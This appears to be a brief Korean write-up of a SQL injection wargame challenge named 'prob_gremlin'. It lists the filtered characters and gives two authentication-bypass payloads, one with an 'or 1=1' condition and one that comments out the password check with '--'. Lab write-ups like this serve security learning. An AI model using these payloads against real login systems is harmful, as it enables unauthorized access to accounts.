728x90
문제 풀이
1. 필터링 확인
_ , \. , ()을 사용하는 경우 No Hack 페이지로 넘어간다.
2. 페이로드 구문
select id from prob_gremlin where id='admin' and pw='123'or '1=1' 구문을 pw 부분을 참으로 만들어 준다.
다른 방법의 페이로드
select id from prob_gremlin where id='admin' or '1=1--' and pw ='' 구문은 --으로 pw 부분을 주석 처리해 준다.
